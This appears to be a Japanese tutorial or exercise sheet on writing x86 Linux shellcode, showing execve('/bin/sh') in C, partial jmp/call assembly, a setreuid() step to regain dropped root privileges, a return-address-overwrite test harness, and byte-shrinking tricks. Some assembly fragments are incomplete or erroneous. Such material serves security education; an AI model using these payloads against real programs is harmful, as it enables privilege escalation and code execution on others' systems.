C言語では次のように,execve関数を使ってシェルを起動する.
#include <unistd.h>
void main (void){
const char *argv[] = {"/bin/sh", '\0'};
const char *envp[] = '\0';
execve("/bin/sh", argv, envp);
}
これをアセンブリで記述すればよい.
execve()はプログラムを実行するシステムコール.execveが呼ばれると元のプログラムには戻らず,呼び出し元のプロセスのtext,data,bss,スタックセグメントは上書きされる.プロトタイプは次のようになっている.
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);
.globl main
main:
jmp ONE
TWO:
popl %ebx
xorl %eax, %eax
movl %eax, 7(%ebx)
mov %ebx, 8(%ebx)
mov %eax, 12(%ebx)
ONE:
call TWO
.string "/bin/shXAAAABBBB"
今回は文字列生成のアドレス上書きにXやAAAAのような「予約席」を用意したが,シェルコードはプログラムをハイジャックするような行儀の悪いプログラムである.故に予約を取らず隣接メモリを上書きしても問題にならない.
アドレスをレジスタに設定するにはleaを利用する.execveへの第2引数には文字列のアドレスが格納された場所のアドレスを渡すため,ecxにはAAAAへのアドレスを入れる必要がある.「mov 8(%ebx), %ecx」ではebx+8バイトのアドレスにある値を取り出してecxに入れてしまうので,ebx+8バイトのアドレス自身を取り出すことはできない.
leaを使って「lea 8(%ebx), %ecx」とすると,ebx+8バイトのアドレス自身をecxに設定することになる.
.globl main
main:
jmp ONE
TWO:
popl %ebx
leal 8(%ebx), %ecx ;ebx+8(AAAAの部分)のアドレスをecxへ
leal %ecx, %edx ;ecxレジスタ自身のアドレスをedxへ
ONE:
call TWO
.string "/bin/shXAAAABBBB"
jmp/callテクニックを利用した,シェル(/bin/sh)を起動するペイロードを作成せよ.exitシステムコールは省略してもよい.
権限の復帰はsetreuid()で行う.setreuid()は実UIDと実効UIDを設定するシステムコール.プロトタイプは次のようになっている.
#include <sys/types.h>
#include <unistd.h>
int setreuid(uid_t ruid, uid_t euid);
権限放棄を行うシステムへの対策として,例題3.1で作成したシェルコードにsetreuid()を用いて権限の復帰を行う処理を追加せよ.
ペイロードのテストには,プログラム内で意図的にペイロードを実行する次のプログラムを利用する.
unsigned char payload[]="SHELLCODE";
int main(void){
int *retadd;
retadd = (int *)&retadd + 2;
(*retadd) = (int)payload;
return 0;
}
プログラムの流れを変えてスタックセグメント上のペイロードを実行する点で,バッファオーバフローなどのExpliotと動作は変わらない.
スタックはメモリ高位から低位へむかって伸びるので,始めにNULLをプッシュしてから文字列をプッシュして構成し,最後にスタックポインタを取り出せば文字列の生成と先頭アドレスの取得ができる.
xorl %eax, %eax
movb $0x70, %al
上記の部分を次のように変えると1バイトコードが短くなる.
push $0x70
pop %eax
cdp(Convert Doubleword to Quadword):eaxに格納された4バイトの符号付整数を8バイトの符号付整数に変換する.上4バイトはedxに、下4バイトはeaxに格納される.
xorl %edx, %edx
上の部分を次のように変えれば1バイト短縮できる.
cltd
ただし,eaxが負の数ではないこと.
pushテクニックを用いて,例題3.2で作成したシェルコードを小型化せよ.